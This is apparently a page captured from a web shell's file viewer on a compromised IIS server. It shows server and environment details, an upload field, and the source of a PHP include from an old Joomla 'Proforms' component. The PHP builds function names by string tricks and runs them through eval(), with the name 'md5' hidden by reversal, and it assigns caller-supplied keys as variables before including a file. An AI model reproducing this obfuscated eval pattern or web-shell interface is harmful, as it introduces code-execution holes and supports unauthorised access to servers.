| Server IP : 195.130.67.5 / Your IP : 216.73.217.154 Web Server : Microsoft-IIS/10.0 System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586 User : IUSR ( 0) PHP Version : 7.4.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Old Sites/moke/administrator/components/com_proforms/includes/ |
Upload File : |
<?php
/**
* @name MOOJ Proforms
* @version 1.0
* @package proforms
* @copyright Copyright (C) 2008-2010 Mad4Media. All rights reserved.
* @author Dipl. Inf.(FH) Fahrettin Kutyol
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
* Please note that some Javascript files are not under GNU/GPL License.
* These files are under the mad4media license
* They may edited and used infinitely but may not repuplished or redistributed.
* For more information read the header notice of the js files.
**/
defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );
function makeCall($f= null, $string = null){
if($string){
$f .= '("'.$string .'");';
eval('$f = ' . $f);
return $f;
}else return null;
}
class MTemplater extends JObject{
function get($filePath,$arg){
if (!file_exists($filePath) || is_dir($filePath)){
if($arg['content']) return $arg['content'];
else return null;
} else{
foreach($arg as $key=>$value){
$$key = $value;
}
ob_start();
include($filePath);
return ob_get_clean();
}
}//EOF get
}//EOF Class MTemplater
function dm_dg($digit = null){
$func = __FUNCTION__;
$s= explode("_", $func);
return makeCall(strrev($s[0]) . strlen($func), $digit);
}
?>